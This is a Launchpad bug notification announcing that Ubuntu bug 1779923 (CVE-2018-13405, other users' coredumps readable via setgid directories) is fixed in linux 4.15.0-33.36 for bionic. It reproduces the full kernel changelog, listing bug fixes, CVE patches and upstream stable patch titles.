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[Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

 

This bug was fixed in the package linux - 4.15.0-33.36

---------------
linux (4.15.0-33.36) bionic; urgency=medium

  * linux: 4.15.0-33.36 -proposed tracker (LP: #1787149)

  * RTNL assertion failure on ipvlan (LP: #1776927)
    - ipvlan: drop ipv6 dependency
    - ipvlan: use per device spinlock to protect addrs list updates
    - SAUCE: fix warning from "ipvlan: drop ipv6 dependency"

  * ubuntu_bpf_jit test failed on Bionic s390x systems (LP: #1753941)
    - test_bpf: flag tests that cannot be jited on s390

  * HDMI/DP audio can't work on the laptop of Dell Latitude 5495 (LP: #1782689)
    - drm/nouveau: fix nouveau_dsm_get_client_id()'s return type
    - drm/radeon: fix radeon_atpx_get_client_id()'s return type
    - drm/amdgpu: fix amdgpu_atpx_get_client_id()'s return type
    - platform/x86: apple-gmux: fix gmux_get_client_id()'s return type
    - ALSA: hda: use PCI_BASE_CLASS_DISPLAY to replace PCI_CLASS_DISPLAY_VGA
    - vga_switcheroo: set audio client id according to bound GPU id

  * locking sockets broken due to missing AppArmor socket mediation patches
    (LP: #1780227)
    - UBUNTU SAUCE: apparmor: fix apparmor mediating locking non-fs, unix sockets

  * Update2 for ocxl driver (LP: #1781436)
    - ocxl: Fix page fault handler in case of fault on dying process

  * netns: unable to follow an interface that moves to another netns
    (LP: #1774225)
    - net: core: Expose number of link up/down transitions
    - dev: always advertise the new nsid when the netns iface changes
    - dev: advertise the new ifindex when the netns iface changes

  * [Bionic] Disk IO hangs when using BFQ as io scheduler (LP: #1780066)
    - block, bfq: fix occurrences of request finish method's old name
    - block, bfq: remove batches of confusing ifdefs
    - block, bfq: add requeue-request hook

  * HP ProBook 455 G5 needs mute-led-gpio fixup (LP: #1781763)
    - ALSA: hda: add mute led support for HP ProBook 455 G5

  * [Bionic] bug fixes to improve stability of the ThunderX2 i2c driver
    (LP: #1781476)
    - i2c: xlp9xx: Fix issue seen when updating receive length
    - i2c: xlp9xx: Make sure the transfer size is not more than
      I2C_SMBUS_BLOCK_SIZE

  * x86/kvm: fix LAPIC timer drift when guest uses periodic mode (LP: #1778486)
    - x86/kvm: fix LAPIC timer drift when guest uses periodic mode

  * Please include ax88179_178a and r8152 modules in d-i udeb (LP: #1771823)
    - [Config:] d-i: Add ax88179_178a and r8152 to nic-modules

  * Nvidia fails after switching its mode (LP: #1778658)
    - PCI: Restore config space on runtime resume despite being unbound

  * Kernel error "task zfs:pid blocked for more than 120 seconds" (LP: #1781364)
    - SAUCE: (noup) zfs to 0.7.5-1ubuntu16.3

  * CVE-2018-12232
    - PATCH 1/1] socket: close race condition between sock_close() and
      sockfs_setattr()

  * CVE-2018-10323
    - xfs: set format back to extents if xfs_bmap_extents_to_btree

  * change front mic location for more lenovo m7/8/9xx machines (LP: #1781316)
    - ALSA: hda/realtek - Fix the problem of two front mics on more machines
    - ALSA: hda/realtek - two more lenovo models need fixup of MIC_LOCATION

  * Cephfs + fscache: unable to handle kernel NULL pointer dereference at
    0000000000000000 IP: jbd2__journal_start+0x22/0x1f0 (LP: #1783246)
    - ceph: track read contexts in ceph_file_info

  * Touchpad of ThinkPad P52 failed to work with message "lost sync at byte"
    (LP: #1779802)
    - Input: elantech - fix V4 report decoding for module with middle key
    - Input: elantech - enable middle button of touchpads on ThinkPad P52

  * xhci_hcd 0000:00:14.0: Root hub is not suspended (LP: #1779823)
    - usb: xhci: dbc: Fix lockdep warning
    - usb: xhci: dbc: Don't decrement runtime PM counter if DBC is not started

  * CVE-2018-13406
    - video: uvesafb: Fix integer overflow in allocation

  * CVE-2018-10840
    - ext4: correctly handle a zero-length xattr with a non-zero e_value_offs

  * CVE-2018-11412
    - ext4: do not allow external inodes for inline data

  * CVE-2018-10881
    - ext4: clear i_data in ext4_inode_info when removing inline data

  * CVE-2018-12233
    - jfs: Fix inconsistency between memory allocation and ea_buf->max_size

  * CVE-2018-12904
    - kvm: nVMX: Enforce cpl=0 for VMX instructions

  * Error parsing PCC subspaces from PCCT (LP: #1528684)
    - mailbox: PCC: erroneous error message when parsing ACPI PCCT

  * CVE-2018-13094
    - xfs: don't call xfs_da_shrink_inode with NULL bp

  * other users' coredumps can be read via setgid directory and killpriv bypass
    (LP: #1779923) // CVE-2018-13405
    - Fix up non-directory creation in SGID directories

  * Invoking obsolete 'firmware_install' target breaks snap build (LP: #1782166)
    - snapcraft.yaml: stop invoking the obsolete (and non-existing)
      'firmware_install' target

  * snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the build
    (LP: #1782116)
    - snapcraft.yaml: copy retpoline-extract-one to scripts before build

  * Allow Raven Ridge's audio controller to be runtime suspended (LP: #1782540)
    - ALSA: hda: Add AZX_DCAPS_PM_RUNTIME for AMD Raven Ridge

  * CVE-2018-11506
    - sr: pass down correctly sized SCSI sense buffer

  * Bionic update: upstream stable patchset 2018-07-24 (LP: #1783418)
    - net: Fix a bug in removing queues from XPS map
    - net/mlx4_core: Fix error handling in mlx4_init_port_info.
    - net/sched: fix refcnt leak in the error path of tcf_vlan_init()
    - net: sched: red: avoid hashing NULL child
    - net/smc: check for missing nlattrs in SMC_PNETID messages
    - net: test tailroom before appending to linear skb
    - packet: in packet_snd start writing at link layer allocation
    - sock_diag: fix use-after-free read in __sk_free
    - tcp: purge write queue in tcp_connect_init()
    - vmxnet3: set the DMA mask before the first DMA map operation
    - vmxnet3: use DMA memory barriers where required
    - hv_netvsc: empty current transmit aggregation if flow blocked
    - hv_netvsc: Use the num_online_cpus() for channel limit
    - hv_netvsc: avoid retry on send during shutdown
    - hv_netvsc: only wake transmit queue if link is up
    - hv_netvsc: fix error unwind handling if vmbus_open fails
    - hv_netvsc: cancel subchannel setup before halting device
    - hv_netvsc: fix race in napi poll when rescheduling
    - hv_netvsc: defer queue selection to VF
    - hv_netvsc: disable NAPI before channel close
    - hv_netvsc: use RCU to fix concurrent rx and queue changes
    - hv_netvsc: change GPAD teardown order on older versions
    - hv_netvsc: common detach logic
    - hv_netvsc: Use Windows version instead of NVSP version on GPAD teardown
    - hv_netvsc: Split netvsc_revoke_buf() and netvsc_teardown_gpadl()
    - hv_netvsc: Ensure correct teardown message sequence order
    - hv_netvsc: Fix a network regression after ifdown/ifup
    - sparc: vio: use put_device() instead of kfree()
    - ext2: fix a block leak
    - s390: add assembler macros for CPU alternatives
    - s390: move expoline assembler macros to a header
    - s390/crc32-vx: use expoline for indirect branches
    - s390/lib: use expoline for indirect branches
    - s390/ftrace: use expoline for indirect branches
    - s390/kernel: use expoline for indirect branches
    - s390: move spectre sysfs attribute code
    - s390: extend expoline to BC instructions
    - s390: use expoline thunks in the BPF JIT
    - scsi: sg: allocate with __GFP_ZERO in sg_build_indirect()
    - scsi: zfcp: fix infinite iteration on ERP ready list
    - loop: don't call into filesystem while holding lo_ctl_mutex
    - loop: fix LOOP_GET_STATUS lock imbalance
    - cfg80211: limit wiphy names to 128 bytes
    - hfsplus: stop workqueue when fill_super() failed
    - x86/kexec: Avoid double free_page() upon do_kexec_load() failure
    - usb: gadget: f_uac2: fix bFirstInterface in composite gadget
    - usb: dwc3: Undo PHY init if soft reset fails
    - usb: dwc3: omap: don't miss events during suspend/resume
    - usb: gadget: core: Fix use-after-free of usb_request
    - usb: gadget: fsl_udc_core: fix ep valid checks
    - usb: dwc2: Fix dwc2_hsotg_core_init_disconnected()
    - usb: cdc_acm: prevent race at write to acm while system resumes
    - net: usbnet: fix potential deadlock on 32bit hosts
    - ARM: dts: imx7d-sdb: Fix regulator-usb-otg2-vbus node name
    - usb: host: xhci-plat: revert "usb: host: xhci-plat: enable clk in resume
      timing"
    - USB: OHCI: Fix NULL dereference in HCDs using HCD_LOCAL_MEM
    - net/usb/qmi_wwan.c: Add USB id for lt4120 modem
    - net-usb: add qmi_wwan if on lte modem wistron neweb d18q1
    - Bluetooth: btusb: Add USB ID 7392:a611 for Edimax EW-7611ULB
    - ALSA: usb-audio: Add native DSD support for Luxman DA-06
    - usb: dwc3: Add SoftReset PHY synchonization delay
    - usb: dwc3: Update DWC_usb31 GTXFIFOSIZ reg fields
    - usb: dwc3: Makefile: fix link error on randconfig
    - xhci: zero usb device slot_id member when disabling and freeing a xhci slot
    - usb: dwc2: Fix interval type issue
    - usb: dwc2: hcd: Fix host channel halt flow
    - usb: dwc2: host: Fix transaction errors in host mode
    - usb: gadget: ffs: Let setup() return USB_GADGET_DELAYED_STATUS
    - usb: gadget: ffs: Execute copy_to_user() with USER_DS set
    - usbip: Correct maximum value of CONFIG_USBIP_VHCI_HC_PORTS
    - usb: gadget: udc: change comparison to bitshift when dealing with a mask
    - usb: gadget: composite: fix incorrect handling of OS desc requests
    - media: lgdt3306a: Fix module count mismatch on usb unplug
    - media: em28xx: USB bulk packet size fix
    - Bluetooth: btusb: Add device ID for RTL8822BE
    - xhci: Show what USB release number the xHC supports from protocol capablity
    - staging: bcm2835-audio: Release resources on module_exit()
    - staging: lustre: fix bug in osc_enter_cache_try
    - staging: fsl-dpaa2/eth: Fix incorrect casts
    - staging: rtl8192u: return -ENOMEM on failed allocation of priv->oldaddr
    - staging: ks7010: Use constants from ieee80211_eid instead of literal ints.
    - staging: lustre: lmv: correctly iput lmo_root
    - crypto: inside-secure - wait for the request to complete if in the backlog
    - crypto: atmel-aes - fix the keys zeroing on errors
    - crypto: ccp - don't disable interrupts while setting up debugfs
    - crypto: inside-secure - do not process request if no command was issued
    - crypto: inside-secure - fix the cache_len computation
    - crypto: inside-secure - fix the extra cache computation
    - crypto: sunxi-ss - Add MODULE_ALIAS to sun4i-ss
    - crypto: inside-secure - fix the invalidation step during cra_exit
    - scsi: mpt3sas: fix an out of bound write
    - scsi: ufs: Enable quirk to ignore sending WRITE_SAME command
    - scsi: bnx2fc: Fix check in SCSI completion handler for timed out request
    - scsi: sym53c8xx_2: iterator underflow in sym_getsync()
    - scsi: mptfusion: Add bounds check in mptctl_hp_targetinfo()
    - scsi: qla2xxx: Avoid triggering undefined behavior in
      qla2x00_mbx_completion()
    - scsi: storvsc: Increase cmd_per_lun for higher speed devices
    - scsi: qedi: Fix truncation of CHAP name and secret
    - scsi: aacraid: fix shutdown crash when init fails
    - scsi: qla4xxx: skip error recovery in case of register disconnect.
    - scsi: qedi: Fix kernel crash during port toggle
    - scsi: mpt3sas: Do not mark fw_event workqueue as WQ_MEM_RECLAIM
    - scsi: sd: Keep disk read-only when re-reading partition
    - scsi: iscsi_tcp: set BDI_CAP_STABLE_WRITES when data digest enabled
    - scsi: aacraid: Insure command thread is not recursively stopped
    - scsi: core: Make SCSI Status CONDITION MET equivalent to GOOD
    - scsi: mvsas: fix wrong endianness of sgpio api
    - ASoC: hdmi-codec: Fix module unloading caused kernel crash
    - ASoC: rockchip: rk3288-hdmi-analog: Select needed codecs
    - ASoC: samsung: odroid: Fix 32000 sample rate handling
    - ASoC: topology: create TLV data for dapm widgets
    - ASoC: samsung: i2s: Ensure the RCLK rate is properly determined
    - clk: rockchip: Fix wrong parent for SDMMC phase clock for rk3228
    - clk: Don't show the incorrect clock phase
    - clk: hisilicon: mark wdt_mux_p[] as const
    - clk: tegra: Fix pll_u rate configuration
    - clk: rockchip: Prevent calculating mmc phase if clock rate is zero
    - clk: samsung: s3c2410: Fix PLL rates
    - clk: samsung: exynos7: Fix PLL rates
    - clk: samsung: exynos5260: Fix PLL rates
    - clk: samsung: exynos5433: Fix PLL rates
    - clk: samsung: exynos5250: Fix PLL rates
    - clk: samsung: exynos3250: Fix PLL rates
    - media: dmxdev: fix error code for invalid ioctls
    - media: Don't let tvp5150_get_vbi() go out of vbi_ram_default array
    - media: ov5645: add missing of_node_put() in error path
    - media: cx23885: Override 888 ImpactVCBe crystal frequency
    - media: cx23885: Set subdev host data to clk_freq pointer
    - media: s3c-camif: fix out-of-bounds array access
    - media: lgdt3306a: Fix a double kfree on i2c device remove
    - media: em28xx: Add Hauppauge SoloHD/DualHD bulk models
    - media: v4l: vsp1: Fix display stalls when requesting too many inputs
    - media: i2c: adv748x: fix HDMI field heights
    - media: vb2: Fix videobuf2 to map correct area
    - media: vivid: fix incorrect capabilities for radio
    - media: cx25821: prevent out-of-bounds read on array card
    - serial: xuartps: Fix out-of-bounds access through DT alias
    - serial: sh-sci: Fix out-of-bounds access through DT alias
    - serial: samsung: Fix out-of-bounds access through serial port index
    - serial: mxs-auart: Fix out-of-bounds access through serial port index
    - serial: imx: Fix out-of-bounds access through serial port index
    - serial: fsl_lpuart: Fix out-of-bounds access through DT alias
    - serial: arc_uart: Fix out-of-bounds access through DT alias
    - serial: 8250: Don't service RX FIFO if interrupts are disabled
    - serial: altera: ensure port->regshift is honored consistently
    - rtc: snvs: Fix usage of snvs_rtc_enable
    - rtc: hctosys: Ensure system time doesn't overflow time_t
    - rtc: rk808: fix possible race condition
    - rtc: m41t80: fix race conditions
    - rtc: tx4939: avoid unintended sign extension on a 24 bit shift
    - rtc: rp5c01: fix possible race condition
    - rtc: goldfish: Add missing MODULE_LICENSE
    - cxgb4: Correct ntuple mask validation for hash filters
    - net: dsa: bcm_sf2: Fix RX_CLS_LOC_ANY overwrite for last rule
    - net: dsa: Do not register devlink for unused ports
    - net: dsa: bcm_sf2: Fix IPv6 rules and chain ID
    - net: dsa: bcm_sf2: Fix IPv6 rule half deletion
    - 3c59x: convert to generic DMA API
    - net: ip6_gre: Request headroom in __gre6_xmit()
    - net: ip6_gre: Split up ip6gre_tnl_link_config()
    - net: ip6_gre: Split up ip6gre_tnl_change()
    - net: ip6_gre: Split up ip6gre_newlink()
    - net: ip6_gre: Split up ip6gre_changelink()
    - qed: LL2 flush isles when connection is closed
    - qed: Fix possibility of list corruption during rmmod flows
    - qed: Fix LL2 race during connection terminate
    - powerpc: Move default security feature flags
    - Bluetooth: btusb: Add support for Intel Bluetooth device 22560 [8087:0026]
    - staging: fsl-dpaa2/eth: Fix incorrect kfree
    - crypto: inside-secure - move the digest to the request context
    - scsi: lpfc: Fix NVME Initiator FirstBurst
    - serial: mvebu-uart: fix tx lost characters

  * Bionic update: upstream stable patchset 2018-07-20 (LP: #1782846)
    - usbip: usbip_host: refine probe and disconnect debug msgs to be useful
    - usbip: usbip_host: delete device from busid_table after rebind
    - usbip: usbip_host: run rebind from exit when module is removed
    - usbip: usbip_host: fix NULL-ptr deref and use-after-free errors
    - usbip: usbip_host: fix bad unlock balance during stub_probe()
    - ALSA: usb: mixer: volume quirk for CM102-A+/102S+
    - ALSA: hda: Add Lenovo C50 All in one to the power_save blacklist
    - ALSA: control: fix a redundant-copy issue
    - spi: pxa2xx: Allow 64-bit DMA
    - spi: bcm-qspi: Avoid setting MSPI_CDRAM_PCS for spi-nor master
    - spi: bcm-qspi: Always read and set BSPI_MAST_N_BOOT_CTRL
    - KVM: arm/arm64: VGIC/ITS save/restore: protect kvm_read_guest() calls
    - KVM: arm/arm64: VGIC/ITS: protect kvm_read_guest() calls with SRCU lock
    - vfio: ccw: fix cleanup if cp_prefetch fails
    - tracing/x86/xen: Remove zero data size trace events
      trace_xen_mmu_flush_tlb{_all}
    - tee: shm: fix use-after-free via temporarily dropped reference
    - netfilter: nf_tables: free set name in error path
    - netfilter: nf_tables: can't fail after linking rule into active rule list
    - netfilter: nf_socket: Fix out of bounds access in nf_sk_lookup_slow_v{4,6}
    - i2c: designware: fix poll-after-enable regression
    - powerpc/powernv: Fix NVRAM sleep in invalid context when crashing
    - drm: Match sysfs name in link removal to link creation
    - lib/test_bitmap.c: fix bitmap optimisation tests to report errors correctly
    - radix tree: fix multi-order iteration race
    - mm: don't allow deferred pages with NEED_PER_CPU_KM
    - drm/i915/gen9: Add WaClearHIZ_WM_CHICKEN3 for bxt and glk
    - s390/qdio: fix access to uninitialized qdio_q fields
    - s390/qdio: don't release memory in qdio_setup_irq()
    - s390: remove indirect branch from do_softirq_own_stack
    - x86/pkeys: Override pkey when moving away from PROT_EXEC
    - x86/pkeys: Do not special case protection key 0
    - efi: Avoid potential crashes, fix the 'struct efi_pci_io_protocol_32'
      definition for mixed mode
    - ARM: 8771/1: kprobes: Prohibit kprobes on do_undefinstr
    - x86/mm: Drop TS_COMPAT on 64-bit exec() syscall
    - tick/broadcast: Use for_each_cpu() specially on UP kernels
    - ARM: 8769/1: kprobes: Fix to use get_kprobe_ctlblk after irq-disabed
    - ARM: 8770/1: kprobes: Prohibit probing on optimized_callback
    - ARM: 8772/1: kprobes: Prohibit kprobes on get_user functions
    - Btrfs: fix xattr loss after power failure
    - Btrfs: send, fix invalid access to commit roots due to concurrent
      snapshotting
    - btrfs: property: Set incompat flag if lzo/zstd compression is set
    - btrfs: fix crash when trying to resume balance without the resume flag
    - btrfs: Split btrfs_del_delalloc_inode into 2 functions
    - btrfs: Fix delalloc inodes invalidation during transaction abort
    - btrfs: fix reading stale metadata blocks after degraded raid1 mounts
    - xhci: Fix USB3 NULL pointer dereference at logical disconnect.
    - KVM: arm/arm64: Properly protect VGIC locks from IRQs
    - KVM: arm/arm64: VGIC/ITS: Promote irq_lock() in update_affinity
    - hwmon: (k10temp) Fix reading critical temperature register
    - hwmon: (k10temp) Use API function to access System Management Network
    - vsprintf: Replace memory barrier with static_key for random_ptr_key update
    - x86/amd_nb: Add support for Raven Ridge CPUs
    - x86/apic/x2apic: Initialize cluster ID properly

  * Bionic update: upstream stable patchset 2018-07-09 (LP: #1780858)
    - 8139too: Use disable_irq_nosync() in rtl8139_poll_controller()
    - bridge: check iface upper dev when setting master via ioctl
    - dccp: fix tasklet usage
    - ipv4: fix fnhe usage by non-cached routes
    - ipv4: fix memory leaks in udp_sendmsg, ping_v4_sendmsg
    - llc: better deal with too small mtu
    - net: ethernet: sun: niu set correct packet size in skb
    - net: ethernet: ti: cpsw: fix packet leaking in dual_mac mode
    - net/mlx4_en: Fix an error handling path in 'mlx4_en_init_netdev()'
    - net/mlx4_en: Verify coalescing parameters are in range
    - net/mlx5e: Err if asked to offload TC match on frag being first
    - net/mlx5: E-Switch, Include VF RDMA stats in vport statistics
    - net sched actions: fix refcnt leak in skbmod
    - net_sched: fq: take care of throttled flows before reuse
    - net: support compat 64-bit time in {s,g}etsockopt
    - net/tls: Don't recursively call push_record during tls_write_space callbacks
    - net/tls: Fix connection stall on partial tls record
    - openvswitch: Don't swap table in nlattr_set() after OVS_ATTR_NESTED is found
    - qmi_wwan: do not steal interfaces from class drivers
    - r8169: fix powering up RTL8168h
    - rds: do not leak kernel memory to user land
    - sctp: delay the authentication for the duplicated cookie-echo chunk
    - sctp: fix the issue that the cookie-ack with auth can't get processed
    - sctp: handle two v4 addrs comparison in sctp_inet6_cmp_addr
    - sctp: remove sctp_chunk_put from fail_mark err path in
      sctp_ulpevent_make_rcvmsg
    - sctp: use the old asoc when making the cookie-ack chunk in dupcook_d
    - tcp_bbr: fix to zero idle_restart only upon S/ACKed data
    - tcp: ignore Fast Open on repair mode
    - tg3: Fix vunmap() BUG_ON() triggered from tg3_free_consistent().
    - bonding: do not allow rlb updates to invalid mac
    - bonding: send learning packets for vlans on slave
    - net: sched: fix error path in tcf_proto_create() when modules are not
      configured
    - net/mlx5e: TX, Use correct counter in dma_map error flow
    - net/mlx5: Avoid cleaning flow steering table twice during error flow
    - hv_netvsc: set master device
    - ipv6: fix uninit-value in ip6_multipath_l3_keys()
    - net/mlx5e: Allow offloading ipv4 header re-write for icmp
    - nsh: fix infinite loop
    - udp: fix SO_BINDTODEVICE
    - l2tp: revert "l2tp: fix missing print session offset info"
    - proc: do not access cmdline nor environ from file-backed areas
    - net/smc: restrict non-blocking connect finish
    - mlxsw: spectrum_switchdev: Do not remove mrouter port from MDB's ports list
    - net/mlx5e: DCBNL fix min inline header size for dscp
    - net: systemport: Correclty disambiguate driver instances
    - sctp: clear the new asoc's stream outcnt in sctp_stream_update
    - tcp: restore autocorking
    - tipc: fix one byte leak in tipc_sk_set_orig_addr()
    - hv_netvsc: Fix net device attach on older Windows hosts

  * Bionic update: upstream stable patchset 2018-07-06 (LP: #1780499)
    - ext4: prevent right-shifting extents beyond EXT_MAX_BLOCKS
    - ipvs: fix rtnl_lock lockups caused by start_sync_thread
    - netfilter: ebtables: don't attempt to allocate 0-sized compat array
    - kcm: Call strp_stop before strp_done in kcm_attach
    - crypto: af_alg - fix possible uninit-value in alg_bind()
    - netlink: fix uninit-value in netlink_sendmsg
    - net: fix rtnh_ok()
    - net: initialize skb->peeked when cloning
    - net: fix uninit-value in __hw_addr_add_ex()
    - dccp: initialize ireq->ir_mark
    - ipv4: fix uninit-value in ip_route_output_key_hash_rcu()
    - soreuseport: initialise timewait reuseport field
    - inetpeer: fix uninit-value in inet_getpeer
    - memcg: fix per_node_info cleanup
    - perf: Remove superfluous allocation error check
    - tcp: fix TCP_REPAIR_QUEUE bound checking
    - bdi: wake up concurrent wb_shutdown() callers.
    - bdi: Fix oops in wb_workfn()
    - gpioib: do not free unrequested descriptors
    - gpio: fix aspeed_gpio unmask irq
    - gpio: fix error path in lineevent_create
    - rfkill: gpio: fix memory leak in probe error path
    - libata: Apply NOLPM quirk for SanDisk SD7UB3Q*G1001 SSDs
    - dm integrity: use kvfree for kvmalloc'd memory
    - tracing: Fix regex_match_front() to not over compare the test string
    - z3fold: fix reclaim lock-ups
    - mm: sections are not offlined during memory hotremove
    - mm, oom: fix concurrent munlock and oom reaper unmap, v3
    - ceph: fix rsize/wsize capping in ceph_direct_read_write()
    - can: kvaser_usb: Increase correct stats counter in kvaser_usb_rx_can_msg()
    - can: hi311x: Acquire SPI lock on ->do_get_berr_counter
    - can: hi311x: Work around TX complete interrupt erratum
    - drm/vc4: Fix scaling of uni-planar formats
    - drm/i915: Fix drm:intel_enable_lvds ERROR message in kernel log
    - drm/atomic: Clean old_state/new_state in drm_atomic_state_default_clear()
    - drm/atomic: Clean private obj old_state/new_state in
      drm_atomic_state_default_clear()
    - net: atm: Fix potential Spectre v1
    - atm: zatm: Fix potential Spectre v1
    - cpufreq: schedutil: Avoid using invalid next_freq
    - Revert "Bluetooth: btusb: Fix quirk for Atheros 1525/QCA6174"
    - Bluetooth: btusb: Only check needs_reset_resume DMI table for QCA rome
      chipsets
    - thermal: exynos: Reading temperature makes sense only when TMU is turned on
    - thermal: exynos: Propagate error value from tmu_read()
    - nvme: add quirk to force medium priority for SQ creation
    - smb3: directory sync should not return an error
    - sched/autogroup: Fix possible Spectre-v1 indexing for sched_prio_to_weight[]
    - tracing/uprobe_event: Fix strncpy corner case
    - perf/x86: Fix possible Spectre-v1 indexing for hw_perf_event cache_*
    - perf/x86/cstate: Fix possible Spectre-v1 indexing for pkg_msr
    - perf/x86/msr: Fix possible Spectre-v1 indexing in the MSR driver
    - perf/core: Fix possible Spectre-v1 indexing for ->aux_pages[]
    - perf/x86: Fix possible Spectre-v1 indexing for x86_pmu::event_map()
    - i2c: dev: prevent ZERO_SIZE_PTR deref in i2cdev_ioctl_rdwr()
    - bdi: Fix use after free bug in debugfs_remove()
    - drm/ttm: Use GFP_TRANSHUGE_LIGHT for allocating huge pages
    - drm/i915: Adjust eDP's logical vco in a reliable place.
    - drm/nouveau/ttm: don't dereference nvbo::cli, it can outlive client
    - sched/core: Fix possible Spectre-v1 indexing for sched_prio_to_weight[]

  * Bionic update: upstream stable patchset 2018-06-26 (LP: #1778759)
    - percpu: include linux/sched.h for cond_resched()
    - ACPI / button: make module loadable when booted in non-ACPI mode
    - USB: serial: option: Add support for Quectel EP06
    - ALSA: hda - Fix incorrect usage of IS_REACHABLE()
    - ALSA: pcm: Check PCM state at xfern compat ioctl
    - ALSA: seq: Fix races at MIDI encoding in snd_virmidi_output_trigger()
    - ALSA: dice: fix kernel NULL pointer dereference due to invalid calculation
      for array index
    - ALSA: aloop: Mark paused device as inactive
    - ALSA: aloop: Add missing cable lock to ctl API callbacks
    - tracepoint: Do not warn on ENOMEM
    - scsi: target: Fix fortify_panic kernel exception
    - Input: leds - fix out of bound access
    - Input: atmel_mxt_ts - add touchpad button mapping for Samsung Chromebook Pro
    - rtlwifi: btcoex: Add power_on_setting routine
    - rtlwifi: cleanup 8723be ant_sel definition
    - xfs: prevent creating negative-sized file via INSERT_RANGE
    - RDMA/cxgb4: release hw resources on device removal
    - RDMA/ucma: Allow resolving address w/o specifying source address
    - RDMA/mlx5: Fix multiple NULL-ptr deref errors in rereg_mr flow
    - RDMA/mlx5: Protect from shift operand overflow
    - NET: usb: qmi_wwan: add support for ublox R410M PID 0x90b2
    - IB/mlx5: Use unlimited rate when static rate is not supported
    - IB/hfi1: Fix handling of FECN marked multicast packet
    - IB/hfi1: Fix loss of BECN with AHG
    - IB/hfi1: Fix NULL pointer dereference when invalid num_vls is used
    - iw_cxgb4: Atomically flush per QP HW CQEs
    - drm/vmwgfx: Fix a buffer object leak
    - drm/bridge: vga-dac: Fix edid memory leak
    - test_firmware: fix setting old custom fw path back on exit, second try
    - errseq: Always report a writeback error once
    - USB: serial: visor: handle potential invalid device configuration
    - usb: dwc3: gadget: Fix list_del corruption in dwc3_ep_dequeue
    - USB: Accept bulk endpoints with 1024-byte maxpacket
    - USB: serial: option: reimplement interface masking
    - USB: serial: option: adding support for ublox R410M
    - usb: musb: host: fix potential NULL pointer dereference
    - usb: musb: trace: fix NULL pointer dereference in musb_g_tx()
    - platform/x86: asus-wireless: Fix NULL pointer dereference
    - irqchip/qcom: Fix check for spurious interrupts
    - tracing: Fix bad use of igrab in trace_uprobe.c
    - [Config] CONFIG_ARM64_ERRATUM_1024718=y
    - arm64: Add work around for Arm Cortex-A55 Erratum 1024718
    - Input: atmel_mxt_ts - add touchpad button mapping for Samsung Chromebook Pro
    - infiniband: mlx5: fix build errors when INFINIBAND_USER_ACCESS=m
    - btrfs: Take trans lock before access running trans in check_delayed_ref
    - drm/vc4: Make sure vc4_bo_{inc,dec}_usecnt() calls are balanced
    - xhci: Fix use-after-free in xhci_free_virt_device
    - platform/x86: Kconfig: Fix dell-laptop dependency chain.
    - KVM: x86: remove APIC Timer periodic/oneshot spikes
    - clocksource: Allow clocksource_mark_unstable() on unregistered clocksources
    - clocksource: Initialize cs->wd_list
    - clocksource: Consistent de-rate when marking unstable

  * Bionic update: upstream stable patchset 2018-06-22 (LP: #1778265)
    - ext4: set h_journal if there is a failure starting a reserved handle
    - ext4: add MODULE_SOFTDEP to ensure crc32c is included in the initramfs
    - ext4: add validity checks for bitmap block numbers
    - ext4: fix bitmap position validation
    - random: fix possible sleeping allocation from irq context
    - random: rate limit unseeded randomness warnings
    - usbip: usbip_event: fix to not print kernel pointer address
    - usbip: usbip_host: fix to hold parent lock for device_attach() calls
    - usbip: vhci_hcd: Fix usb device and sockfd leaks
    - usbip: vhci_hcd: check rhport before using in vhci_hub_control()
    - Revert "xhci: plat: Register shutdown for xhci_plat"
    - USB: serial: simple: add libtransistor console
    - USB: serial: ftdi_sio: use jtag quirk for Arrow USB Blaster
    - USB: serial: cp210x: add ID for NI USB serial console
    - usb: core: Add quirk for HP v222w 16GB Mini
    - USB: Increment wakeup count on remote wakeup.
    - ALSA: usb-audio: Skip broken EU on Dell dock USB-audio
    - virtio: add ability to iterate over vqs
    - virtio_console: don't tie bufs to a vq
    - virtio_console: free buffers after reset
    - virtio_console: drop custom control queue cleanup
    - virtio_console: move removal code
    - virtio_console: reset on out of memory
    - drm/virtio: fix vq wait_event condition
    - tty: Don't call panic() at tty_ldisc_init()
    - tty: n_gsm: Fix long delays with control frame timeouts in ADM mode
    - tty: n_gsm: Fix DLCI handling for ADM mode if debug & 2 is not set
    - tty: Avoid possible error pointer dereference at tty_ldisc_restore().
    - tty: Use __GFP_NOFAIL for tty_ldisc_get()
    - ALSA: dice: fix OUI for TC group
    - ALSA: dice: fix error path to destroy initialized stream data
    - ALSA: hda - Skip jack and others for non-existing PCM streams
    - ALSA: opl3: Hardening for potential Spectre v1
    - ALSA: asihpi: Hardening for potential Spectre v1
    - ALSA: hdspm: Hardening for potential Spectre v1
    - ALSA: rme9652: Hardening for potential Spectre v1
    - ALSA: control: Hardening for potential Spectre v1
    - ALSA: pcm: Return negative delays from SNDRV_PCM_IOCTL_DELAY.
    - ALSA: core: Report audio_tstamp in snd_pcm_sync_ptr
    - ALSA: seq: oss: Fix unbalanced use lock for synth MIDI device
    - ALSA: seq: oss: Hardening for potential Spectre v1
    - ALSA: hda: Hardening for potential Spectre v1
    - ALSA: hda/realtek - Add some fixes for ALC233
    - ALSA: hda/realtek - Update ALC255 depop optimize
    - ALSA: hda/realtek - change the location for one of two front mics
    - mtd: spi-nor: cadence-quadspi: Fix page fault kernel panic
    - mtd: cfi: cmdset_0001: Do not allow read/write to suspend erase block.
    - mtd: cfi: cmdset_0001: Workaround Micron Erase suspend bug.
    - mtd: cfi: cmdset_0002: Do not allow read/write to suspend erase block.
    - mtd: rawnand: tango: Fix struct clk memory leak
    - kobject: don't use WARN for registration failures
    - scsi: sd: Defer spinning up drive while SANITIZE is in progress
    - bfq-iosched: ensure to clear bic/bfqq pointers when preparing request
    - vfio: ccw: process ssch with interrupts disabled
    - ANDROID: binder: prevent transactions into own process.
    - PCI: aardvark: Fix logic in advk_pcie_{rd,wr}_conf()
    - PCI: aardvark: Set PIO_ADDR_LS correctly in advk_pcie_rd_conf()
    - PCI: aardvark: Use ISR1 instead of ISR0 interrupt in legacy irq mode
    - PCI: aardvark: Fix PCIe Max Read Request Size setting
    - ARM: amba: Make driver_override output consistent with other buses
    - ARM: amba: Fix race condition with driver_override
    - ARM: amba: Don't read past the end of sysfs "driver_override" buffer
    - ARM: socfpga_defconfig: Remove QSPI Sector 4K size force
    - KVM: arm/arm64: Close VMID generation race
    - crypto: drbg - set freed buffers to NULL
    - ASoC: fsl_esai: Fix divisor calculation failure at lower ratio
    - libceph: un-backoff on tick when we have a authenticated session
